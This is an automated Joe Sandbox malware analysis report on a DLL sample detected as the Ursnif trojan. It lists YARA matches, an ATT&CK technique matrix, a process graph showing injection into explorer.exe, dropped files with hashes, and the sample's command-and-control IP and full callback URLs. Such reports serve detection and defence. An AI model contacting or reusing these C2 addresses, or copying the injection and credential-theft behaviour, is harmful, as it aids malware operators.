                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 3_2_04C73365 RtlAllocateHeap,GetUserNameW,RtlAllocateHeap,GetUserNameW,HeapFree,GetComputerNameW,GetComputerNameW,RtlAllocateHeap,GetComputerNameW,HeapFree,3_2_04C73365

                      Stealing of Sensitive Information

                      barindex
                      Yara detected Ursnif
                      Source: Yara matchFile source: 00000003.00000003.349012704.0000000005248000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000003.00000003.448354217.00000000060D8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000003.00000003.348921870.0000000005248000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000003.00000003.348876810.0000000005248000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000003.00000003.349079600.0000000005248000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000003.00000003.393934520.0000000005248000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000003.00000003.395608793.000000000504C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 0000000E.00000003.453774507.0000027B6DC1C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000003.00000003.349095553.0000000005248000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000003.00000003.348687637.0000000005248000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000003.00000003.348979060.0000000005248000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000003.00000003.394913603.0000000005248000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000003.00000003.348760397.0000000005248000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: Process Memory Space: rundll32.exe PID: 6240, type: MEMORYSTR
                      Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 3172, type: MEMORYSTR
                      Source: Yara matchFile source: 3.2.rundll32.exe.4c70000.0.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 3.3.rundll32.exe.4b994a0.7.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 3.3.rundll32.exe.4b994a0.7.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 3.3.rundll32.exe.51c94a0.1.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 3.3.rundll32.exe.51f6b40.2.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 3.3.rundll32.exe.514a4a0.0.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 3.3.rundll32.exe.51c94a0.1.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 3.3.rundll32.exe.51f6b40.2.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 3.3.rundll32.exe.514a4a0.0.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 00000003.00000003.394753510.000000000514A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000003.00000003.394820050.00000000051C9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000003.00000002.501779377.0000000004ECF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000003.00000003.500530669.0000000004B99000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

                      Remote Access Functionality

                      barindex
                      Yara detected Ursnif
                      Source: Yara matchFile source: 00000003.00000003.349012704.0000000005248000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000003.00000003.448354217.00000000060D8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000003.00000003.348921870.0000000005248000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000003.00000003.348876810.0000000005248000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000003.00000003.349079600.0000000005248000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000003.00000003.393934520.0000000005248000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000003.00000003.395608793.000000000504C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 0000000E.00000003.453774507.0000027B6DC1C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000003.00000003.349095553.0000000005248000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000003.00000003.348687637.0000000005248000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000003.00000003.348979060.0000000005248000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000003.00000003.394913603.0000000005248000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000003.00000003.348760397.0000000005248000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: Process Memory Space: rundll32.exe PID: 6240, type: MEMORYSTR
                      Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 3172, type: MEMORYSTR
                      Source: Yara matchFile source: 3.2.rundll32.exe.4c70000.0.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 3.3.rundll32.exe.4b994a0.7.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 3.3.rundll32.exe.4b994a0.7.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 3.3.rundll32.exe.51c94a0.1.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 3.3.rundll32.exe.51f6b40.2.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 3.3.rundll32.exe.514a4a0.0.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 3.3.rundll32.exe.51c94a0.1.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 3.3.rundll32.exe.51f6b40.2.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 3.3.rundll32.exe.514a4a0.0.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 00000003.00000003.394753510.000000000514A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000003.00000003.394820050.00000000051C9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000003.00000002.501779377.0000000004ECF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000003.00000003.500530669.0000000004B99000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

                      Mitre Att&ck Matrix

                      Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
                      1
                      Valid Accounts                      		1
                      Windows Management Instrumentation                      		1
                      Valid Accounts                      		1
                      Valid Accounts                      		1
                      Obfuscated Files or Information                      		OS Credential Dumping1
                      System Time Discovery                      		Remote Services11
                      Archive Collected Data                      		Exfiltration Over Other Network Medium2
                      Ingress Tool Transfer                      		Eavesdrop on Insecure Network CommunicationRemotely Track Device Without Authorization1
                      Data Encrypted for Impact
                      Default Accounts2
                      Native API                      		Boot or Logon Initialization Scripts1
                      Access Token Manipulation                      		1
                      File Deletion                      		LSASS Memory1
                      Account Discovery                      		Remote Desktop Protocol1
                      Email Collection                      		Exfiltration Over Bluetooth2
                      Encrypted Channel                      		Exploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationDevice Lockout
                      Domain Accounts1
                      Command and Scripting Interpreter                      		Logon Script (Windows)413
                      Process Injection                      		1
                      Masquerading                      		Security Account Manager3
                      File and Directory Discovery                      		SMB/Windows Admin SharesData from Network Shared DriveAutomated Exfiltration1
                      Non-Application Layer Protocol                      		Exploit SS7 to Track Device LocationObtain Device Cloud BackupsDelete Device Data
                      Local AccountsAt (Windows)Logon Script (Mac)Logon Script (Mac)1
                      Valid Accounts                      		NTDS25
                      System Information Discovery                      		Distributed Component Object ModelInput CaptureScheduled Transfer11
                      Application Layer Protocol                      		SIM Card SwapCarrier Billing Fraud
                      Cloud AccountsCronNetwork Logon ScriptNetwork Logon Script1
                      Access Token Manipulation                      		LSA Secrets11
                      Security Software Discovery                      		SSHKeyloggingData Transfer Size LimitsFallback ChannelsManipulate Device CommunicationManipulate App Store Rankings or Ratings
                      Replication Through Removable MediaLaunchdRc.commonRc.common31
                      Virtualization/Sandbox Evasion                      		Cached Domain Credentials31
                      Virtualization/Sandbox Evasion                      		VNCGUI Input CaptureExfiltration Over C2 ChannelMultiband CommunicationJamming or Denial of ServiceAbuse Accessibility Features
                      External Remote ServicesScheduled TaskStartup ItemsStartup Items413
                      Process Injection                      		DCSync3
                      Process Discovery                      		Windows Remote ManagementWeb Portal CaptureExfiltration Over Alternative ProtocolCommonly Used PortRogue Wi-Fi Access PointsData Encrypted for Impact
                      Drive-by CompromiseCommand and Scripting InterpreterScheduled Task/JobScheduled Task/Job1
                      Rundll32                      		Proc Filesystem1
                      Application Window Discovery                      		Shared WebrootCredential API HookingExfiltration Over Symmetric Encrypted Non-C2 ProtocolApplication Layer ProtocolDowngrade to Insecure ProtocolsGenerate Fraudulent Advertising Revenue
                      Exploit Public-Facing ApplicationPowerShellAt (Linux)At (Linux)Masquerading/etc/passwd and /etc/shadow1
                      System Owner/User Discovery                      		Software Deployment ToolsData StagedExfiltration Over Asymmetric Encrypted Non-C2 ProtocolWeb ProtocolsRogue Cellular Base StationData Destruction
                      Supply Chain CompromiseAppleScriptAt (Windows)At (Windows)Invalid Code SignatureNetwork Sniffing11
                      Remote System Discovery                      		Taint Shared ContentLocal Data StagingExfiltration Over Unencrypted/Obfuscated Non-C2 ProtocolFile Transfer ProtocolsData Encrypted for Impact
                      Compromise Software Dependencies and Development ToolsWindows Command ShellCronCronRight-to-Left OverrideInput Capture1
                      System Network Configuration Discovery                      		Replication Through Removable MediaRemote Data StagingExfiltration Over Physical MediumMail ProtocolsService Stop

                      Behavior Graph

                      Hide Legend

                      Legend:

                      • Process
                      • Signature
                      • Created File
                      • DNS/IP Info
                      • Is Dropped
                      • Is Windows Process
                      • Number of created Registry Values
                      • Number of created Files
                      • Visual Basic
                      • Delphi
                      • Java
                      • .Net C# or VB.NET
                      • C, C++ or other language
                      • Is malicious
                      • Internet
                      behaviorgraph top1 signatures2 2 Behavior Graph ID: 620156 Sample: rXN8OIpbzz Startdate: 04/05/2022 Architecture: WINDOWS Score: 100 52 Snort IDS alert for network traffic 2->52 54 Found malware configuration 2->54 56 Multi AV Scanner detection for submitted file 2->56 58 2 other signatures 2->58 9 mshta.exe 19 2->9         started        11 loaddll32.exe 1 2->11         started        process3 process4 13 powershell.exe 31 9->13         started        16 cmd.exe 1 11->16         started        signatures5 68 Injects code into the Windows Explorer (explorer.exe) 13->68 70 Writes to foreign memory regions 13->70 72 Creates a thread in another existing process (thread injection) 13->72 18 explorer.exe 13->18 injected 21 csc.exe 3 13->21         started        24 csc.exe 3 13->24         started        26 conhost.exe 13->26         started        28 rundll32.exe 1 6 16->28         started        process6 dnsIp7 60 Self deletion via cmd delete 18->60 31 cmd.exe 1 18->31         started        46 C:\Users\user\AppData\Local\...\nthaltvx.dll, PE32 21->46 dropped 34 cvtres.exe 1 21->34         started        48 C:\Users\user\AppData\Local\...\zn133k50.dll, PE32 24->48 dropped 36 cvtres.exe 1 24->36         started        50 185.189.151.28, 49820, 80 AS-SOFTPLUSCH Switzerland 28->50 62 System process connects to network (likely due to code injection or exploit) 28->62 64 Writes to foreign memory regions 28->64 66 Writes registry values via WMI 28->66 38 control.exe 1 28->38         started        file8 signatures9 process10 signatures11 74 Uses ping.exe to sleep 31->74 76 Uses ping.exe to check the status of other devices and networks 31->76 40 conhost.exe 31->40         started        42 PING.EXE 1 31->42         started        44 rundll32.exe 38->44         started        process12

                      Screenshots

                      Thumbnails

                      This section contains all screenshots as thumbnails, including those not shown in the slideshow.


                      windows-stand

                      Antivirus, Machine Learning and Genetic Malware Detection

                      Initial Sample

                      SourceDetectionScannerLabelLink
                      rXN8OIpbzz.dll40%ReversingLabsWin32.Trojan.Jaik
                      rXN8OIpbzz.dll100%Joe Sandbox ML

                      Dropped Files

                      ⊘No Antivirus matches

                      Unpacked PE Files

                      SourceDetectionScannerLabelLinkDownload
                      3.2.rundll32.exe.4c70000.0.unpack100%AviraHEUR/AGEN.1245293Download File

                      Domains

                      SourceDetectionScannerLabelLink
                      l-0007.l-dc-msedge.net0%VirustotalBrowse

                      URLs

                      SourceDetectionScannerLabelLink
                      http://185.189.151.28/0%VirustotalBrowse
                      http://185.189.151.28/0%Avira URL Cloudsafe
                      http://https://file://USER.ID%lu.exe/upd0%Avira URL Cloudsafe
                      http://185.189.151.28/drew/21j59p5h/aMY7pIvB814fHQzA54TmstP/6F84QjrY8T/SpaWCfEUD_2FnWXvC/rEqVxZeDiGm0%Avira URL Cloudsafe
                      http://schemas.mi0%URL Reputationsafe
                      http://185.189.151.28/drew/SE7WZ12eEzLDbcY/ReHD9U37IHMRdNMyX0/f61fYgNDH/xkc3DHorIjF18_2BtcDI/NMTbVOf0%Avira URL Cloudsafe
                      http://185.189.151.28/drew/cVbBCVAVC_2BrfCTTliq4D/TR89j_2FDMhBC/Rx3lDg61/HvgZB2J7R7VD_2FxHgth09P/H_20%Avira URL Cloudsafe
                      http://185.189.151.28/drew/cVbBCVAVC_2BrfCTTliq4D/TR89j_2FDMhBC/Rx3lDg61/HvgZB2J7R7VD_2FxHgth09P/H_2Fp_2B0K/lT2QuoqZm8BQycZwQ/H4nFd1cHmG_2/B8ivI_2F0O9/bJq8uYFSa5v9Ij/oSxEbcCz5_2FkNItSz7M7/RsUqbQcn0xtbFLfk/s_2BoKVrnDqJChc/UQqpJa6I6sYnVdkvyr/aVGGIz6zI/ZEQtOcGy53_2B5iYxze_/2BYqRtgImRp7tBA6q9P/SewC3o45SwnJ_2BNfdtGRr/1q9JxgDBH/3.jlk0%Avira URL Cloudsafe
                      http://185.189.151.28/drew/SE7WZ12eEzLDbcY/ReHD9U37IHMRdNMyX0/f61fYgNDH/xkc3DHorIjF18_2BtcDI/NMTbVOfmJtH6P_2FDxg/fYP24ZJpA_2BXAD0LiynfR/sY7KfedmKK4eh/fSjWb6Xu/fAf6iEN7Rblzydam2OSbiSx/Vw6Cb_2Bbg/Vc9aYir_2By_2BYAt/7uRRpr7mVOmx/v_2F66pvHXt/nmtBefhmAX5DJk/ied6XVEApSsG8HlMS4KeZ/kP7pKEMCKNfzyZum/QUL8CnndyLC0Xcl/NmgSkYn.jlk0%Avira URL Cloudsafe
                      http://constitution.org/usdeclar.txt0%URL Reputationsafe
                      http://schemas.micr0%URL Reputationsafe
                      http://185.189.151.28/drew/21j59p5h/aMY7pIvB814fHQzA54TmstP/6F84QjrY8T/SpaWCfEUD_2FnWXvC/rEqVxZeDiGmB/EVC7r5ALKWg/9SLUGnIzpxcWYM/xuMBfgGVcmtRuQEdnu_2F/z6aCj8Veiw_2FLpI/klXzvSCm2R4EgNj/tX1BLPzJEB4fd6nZGQ/ASaXUuL8G/Cb1hq1kHRkSzUSxa9avd/CLUWUoeV5nKWyDrb3Sa/Aw0B4o70zU_2B7Hjx9TwWi/5WU7_2FRUtVgO/Qd4d0Z1_2Bvo/b7ociWkm.jlk0%Avira URL Cloudsafe
                      http://constitution.org/usdeclar.txtC:0%URL Reputationsafe

                      Domains and IPs

                      Contacted Domains

                      NameIPActiveMaliciousAntivirus DetectionReputation
                      l-0007.l-dc-msedge.net
                      		13.107.43.16
                      		truetrueunknown

                      Contacted URLs

                      NameMaliciousAntivirus DetectionReputation
                      http://185.189.151.28/drew/cVbBCVAVC_2BrfCTTliq4D/TR89j_2FDMhBC/Rx3lDg61/HvgZB2J7R7VD_2FxHgth09P/H_2Fp_2B0K/lT2QuoqZm8BQycZwQ/H4nFd1cHmG_2/B8ivI_2F0O9/bJq8uYFSa5v9Ij/oSxEbcCz5_2FkNItSz7M7/RsUqbQcn0xtbFLfk/s_2BoKVrnDqJChc/UQqpJa6I6sYnVdkvyr/aVGGIz6zI/ZEQtOcGy53_2B5iYxze_/2BYqRtgImRp7tBA6q9P/SewC3o45SwnJ_2BNfdtGRr/1q9JxgDBH/3.jlktrue
                      • Avira URL Cloud: safe
                      		unknown
                      http://185.189.151.28/drew/SE7WZ12eEzLDbcY/ReHD9U37IHMRdNMyX0/f61fYgNDH/xkc3DHorIjF18_2BtcDI/NMTbVOfmJtH6P_2FDxg/fYP24ZJpA_2BXAD0LiynfR/sY7KfedmKK4eh/fSjWb6Xu/fAf6iEN7Rblzydam2OSbiSx/Vw6Cb_2Bbg/Vc9aYir_2By_2BYAt/7uRRpr7mVOmx/v_2F66pvHXt/nmtBefhmAX5DJk/ied6XVEApSsG8HlMS4KeZ/kP7pKEMCKNfzyZum/QUL8CnndyLC0Xcl/NmgSkYn.jlktrue
                      • Avira URL Cloud: safe
                      		unknown
                      http://185.189.151.28/drew/21j59p5h/aMY7pIvB814fHQzA54TmstP/6F84QjrY8T/SpaWCfEUD_2FnWXvC/rEqVxZeDiGmB/EVC7r5ALKWg/9SLUGnIzpxcWYM/xuMBfgGVcmtRuQEdnu_2F/z6aCj8Veiw_2FLpI/klXzvSCm2R4EgNj/tX1BLPzJEB4fd6nZGQ/ASaXUuL8G/Cb1hq1kHRkSzUSxa9avd/CLUWUoeV5nKWyDrb3Sa/Aw0B4o70zU_2B7Hjx9TwWi/5WU7_2FRUtVgO/Qd4d0Z1_2Bvo/b7ociWkm.jlktrue
                      • Avira URL Cloud: safe
                      		unknown

                      URLs from Memory and Binaries

                      NameSourceMaliciousAntivirus DetectionReputation
                      http://185.189.151.28/rundll32.exe, 00000003.00000003.393829384.0000000002E21000.00000004.00000020.00020000.00000000.sdmpfalse
                      • 0%, Virustotal, Browse
                      • Avira URL Cloud: safe
                      		unknown
                      http://https://file://USER.ID%lu.exe/updrundll32.exe, 00000003.00000003.448354217.00000000060D8000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000E.00000003.453774507.0000027B6DC1C000.00000004.00000020.00020000.00000000.sdmpfalse
                      • Avira URL Cloud: safe
                      		low
                      http://185.189.151.28/drew/21j59p5h/aMY7pIvB814fHQzA54TmstP/6F84QjrY8T/SpaWCfEUD_2FnWXvC/rEqVxZeDiGmrundll32.exe, 00000003.00000002.501364119.0000000002E13000.00000004.00000020.00020000.00000000.sdmpfalse
                      • Avira URL Cloud: safe
                      		unknown
                      http://schemas.miexplorer.exe, 00000019.00000000.606043556.000000000D9F0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000019.00000000.491143563.000000000D9F0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000019.00000000.471987520.000000000D9F0000.00000004.00000001.00020000.00000000.sdmpfalse
                      • URL Reputation: safe
                      		unknown
                      http://185.189.151.28/drew/SE7WZ12eEzLDbcY/ReHD9U37IHMRdNMyX0/f61fYgNDH/xkc3DHorIjF18_2BtcDI/NMTbVOfrundll32.exe, 00000003.00000002.501297168.0000000002DBA000.00000004.00000020.00020000.00000000.sdmpfalse
                      • Avira URL Cloud: safe
                      		unknown
                      http://185.189.151.28/drew/cVbBCVAVC_2BrfCTTliq4D/TR89j_2FDMhBC/Rx3lDg61/HvgZB2J7R7VD_2FxHgth09P/H_2rundll32.exe, 00000003.00000003.403377940.0000000002E03000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.393803385.0000000002E13000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000002.501297168.0000000002DBA000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.403395449.0000000002E13000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000002.501364119.0000000002E13000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.393793161.0000000002E03000.00000004.00000020.00020000.00000000.sdmpfalse
                      • Avira URL Cloud: safe
                      		unknown
                      http://constitution.org/usdeclar.txtrundll32.exe, 00000003.00000003.448354217.00000000060D8000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000E.00000003.453774507.0000027B6DC1C000.00000004.00000020.00020000.00000000.sdmpfalse
                      • URL Reputation: safe
                      		unknown
                      http://schemas.micrexplorer.exe, 00000019.00000000.606043556.000000000D9F0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000019.00000000.491143563.000000000D9F0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000019.00000000.471987520.000000000D9F0000.00000004.00000001.00020000.00000000.sdmpfalse
                      • URL Reputation: safe
                      		unknown
                      http://constitution.org/usdeclar.txtC:rundll32.exe, 00000003.00000003.448354217.00000000060D8000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000E.00000003.453774507.0000027B6DC1C000.00000004.00000020.00020000.00000000.sdmpfalse
                      • URL Reputation: safe
                      		unknown

                      World Map of Contacted IPs

                      • No. of IPs < 25%
                      • 25% < No. of IPs < 50%
                      • 50% < No. of IPs < 75%
                      • 75% < No. of IPs

                      Public IPs

                      IPDomainCountryFlagASNASN NameMalicious
                      185.189.151.28
                      		unknownSwitzerland
                      		51395AS-SOFTPLUSCHtrue

                      General Information

                      Joe Sandbox Version:34.0.0 Boulder Opal
                      Analysis ID:620156
                      Start date and time: 04/05/202212:40:412022-05-04 12:40:41 +02:00
                      Joe Sandbox Product:CloudBasic
                      Overall analysis duration:0h 12m 9s
                      Hypervisor based Inspection enabled:false
                      Report type:full
                      Sample file name:rXN8OIpbzz (renamed file extension from none to dll)
                      Cookbook file name:default.jbs
                      Analysis system description:Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
                      Number of analysed new started processes analysed:30
                      Number of new started drivers analysed:0
                      Number of existing processes analysed:0
                      Number of existing drivers analysed:0
                      Number of injected processes analysed:1
                      Technologies:
                      • HCA enabled
                      • EGA enabled
                      • HDC enabled
                      • AMSI enabled
                      Analysis Mode:default
                      Analysis stop reason:Timeout
                      Detection:MAL
                      Classification:mal100.troj.evad.winDLL@26/15@0/1
                      EGA Information:
                      • Successful, ratio: 50%
                      HDC Information:
                      • Successful, ratio: 19.8% (good quality ratio 18.9%)
                      • Quality average: 82.1%
                      • Quality standard deviation: 27.1%
                      HCA Information:
                      • Successful, ratio: 99%
                      • Number of executed functions: 101
                      • Number of non-executed functions: 215
                      Cookbook Comments:
                      • Adjust boot time
                      • Enable AMSI
                      • Override analysis time to 240s for rundll32

                      Warnings

                      • Exclude process from analysis (whitelisted): MpCmdRun.exe, BackgroundTransferHost.exe, WMIADAP.exe, backgroundTaskHost.exe, conhost.exe, WmiPrvSE.exe, svchost.exe, wuapihost.exe
                      • Excluded IPs from analysis (whitelisted): 13.107.43.16
                      • Excluded domains from analysis (whitelisted): client.wns.windows.com, fs.microsoft.com, config.edge.skype.com.trafficmanager.net, ctldl.windowsupdate.com, arc.msn.com, ris.api.iris.microsoft.com, login.live.com, l-0007.config.skype.com, config-edge-skype.l-0007.l-msedge.net, sls.update.microsoft.com, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, query.prod.cms.rt.microsoft.com, config.edge.skype.com
                      • Execution Graph export aborted for target mshta.exe, PID 5240 because there are no executed function
                      • Not all processes where analyzed, report is missing behavior information
                      • Report size exceeded maximum capacity and may have missing behavior information.
                      • Report size getting too big, too many NtOpenKeyEx calls found.
                      • Report size getting too big, too many NtProtectVirtualMemory calls found.
                      • Report size getting too big, too many NtQueryValueKey calls found.
                      • Report size getting too big, too many NtReadVirtualMemory calls found.

                      Simulations

                      Behavior and APIs

                      TimeTypeDescription
                      12:42:13API Interceptor1x Sleep call for process: rundll32.exe modified
                      12:43:02API Interceptor38x Sleep call for process: powershell.exe modified

                      Joe Sandbox View / Context

                      IPs

                      MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                      185.189.151.28GlJdt15gDI.dllGet hashmaliciousBrowse

                        Domains

                        MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                        l-0007.l-dc-msedge.netInvoice#396.htmlGet hashmaliciousBrowse
                        • 13.107.43.16
                        Urgentn#U00a1 objedn#U00a0vka.pdf.exeGet hashmaliciousBrowse
                        • 13.107.43.16
                        pDut.dllGet hashmaliciousBrowse
                        • 13.107.43.16
                        HxEWwh74qT.dllGet hashmaliciousBrowse
                        • 13.107.43.16
                        6253ed88d7cd5.dllGet hashmaliciousBrowse
                        • 13.107.43.16
                        624c84a8263d3.dllGet hashmaliciousBrowse
                        • 13.107.43.16

                        ASNs

                        MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                        AS-SOFTPLUSCHGlJdt15gDI.dllGet hashmaliciousBrowse
                        • 185.189.151.28
                        o52M6ZqBFpGet hashmaliciousBrowse
                        • 176.10.116.173
                        com.abbondioendrizzi.tools.supercleaner-9-apkplz.net.apkGet hashmaliciousBrowse
                        • 176.10.119.156
                        com.pagnotto28.sellsourcecode.supercleaner-9-apkplz.net.apkGet hashmaliciousBrowse
                        • 176.10.119.156
                        com.pagnotto28.sellsourcecode.alpha-6-apkplz.net.apkGet hashmaliciousBrowse
                        • 176.10.119.156
                        URGENT REQUEST FOR QUOTE_____Pdf.exeGet hashmaliciousBrowse
                        • 91.192.100.6
                        Powerful Cleaner Antivirus_v1.9.apkGet hashmaliciousBrowse
                        • 176.10.119.156
                        K74MviOR7dGet hashmaliciousBrowse
                        • 185.189.149.113
                        xIOggpNWfl.exeGet hashmaliciousBrowse
                        • 176.10.107.180
                        2X3f1ykTmM.exeGet hashmaliciousBrowse
                        • 176.10.99.208
                        lwRhzjuYIg.exeGet hashmaliciousBrowse
                        • 176.10.99.203
                        d03hwI54V0.exeGet hashmaliciousBrowse
                        • 176.10.104.240
                        tbsvrGet hashmaliciousBrowse
                        • 176.10.107.180
                        1p1EpP7mrs.exeGet hashmaliciousBrowse
                        • 185.189.151.142
                        yxvnSxhHKvGet hashmaliciousBrowse
                        • 91.201.59.197
                        xTvIsmAee2.exeGet hashmaliciousBrowse
                        • 176.10.119.29
                        b6pQZxxOuM.exeGet hashmaliciousBrowse
                        • 176.10.119.29
                        TVqNxfcPtM.exeGet hashmaliciousBrowse
                        • 185.32.222.18
                        xZqtlgwoWq.exeGet hashmaliciousBrowse
                        • 185.189.150.72
                        Cx1HKT0xhO.exeGet hashmaliciousBrowse
                        • 185.32.221.201

                        JA3 Fingerprints

                        ⊘No context

                        Dropped Files

                        ⊘No context

                        Created / dropped Files

                        C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

                        Download File
                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        File Type:data
                        Category:modified
                        Size (bytes):11606
                        Entropy (8bit):4.883977562702998
                        Encrypted:false
                        SSDEEP:192:h9smd3YrKkGdcU6CkVsm5emla9sm5ib4q4dVsm5emdjxoeRjp5Kib4nVFn3eGOVo:ySib4q4dvEib4nVoGIpN6KQkj2frkjhQ
                        MD5:243581397F734487BD471C04FB57EA44
                        SHA1:38CB3BAC7CDC67CB3B246B32117C2C6188243E77
                        SHA-256:7EA86BC5C164A1B76E3893A6C1906B66A1785F366E092F51B1791EC0CC2AAC90
                        SHA-512:1B0B1CD588E5621F63C4AACC8FF4C111AD9148D4BABE65965EC38EBD10D559A0DFB9B610CA3DF1E1DD7B1842B3E391D6804A3787B6CD00D527A660F444C4183A
                        Malicious:false
                        Preview:PSMODULECACHE.....7.t8...C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psm1........SafeGetCommand........Get-ScriptBlockScope....$...Get-DictionaryValueFromFirstKeyFound........New-PesterOption........Invoke-Pester........ResolveTestScripts........Set-ScriptBlockScope.........w.e...a...C:\Program Files (x86)\WindowsPowerShell\Modules\PackageManagement\1.0.0.1\PackageManagement.psd1........Unregister-PackageSource........Save-Package........Install-PackageProvider........Find-PackageProvider........Install-Package........Get-PackageProvider........Get-Package........Uninstall-Package........Set-PackageSource........Get-PackageSource........Find-Package........Register-PackageSource........Import-PackageProvider...........e...[...C:\Program Files\WindowsPowerShell\Modules\PackageManagement\1.0.0.1\PackageManagement.psd1........Set-PackageSource........Unregister-PackageSource........Get-PackageSource........Install-Package........Save-Package........Get-Package...

                        C:\Users\user\AppData\Local\Temp\CSC41D8DEC26D8340F3B72514D252AF5890.TMP

                        Download File
                        Process:C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                        File Type:MSVC .res
                        Category:dropped
                        Size (bytes):652
                        Entropy (8bit):3.117340628214124
                        Encrypted:false
                        SSDEEP:12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5gryuRwak7YnqqbR1PN5Dlq5J:+RI+ycuZhNACakSbDPNnqX
                        MD5:571B3CB43AB7A3A962B41BE2274F3521
                        SHA1:4DE5F7697BC4B839317DB5F169FF23DE442E94AA
                        SHA-256:7FEEEFAEF26874370125E0097C4A4F8EBA03F7E8C44D495A11B2E93830D3257B
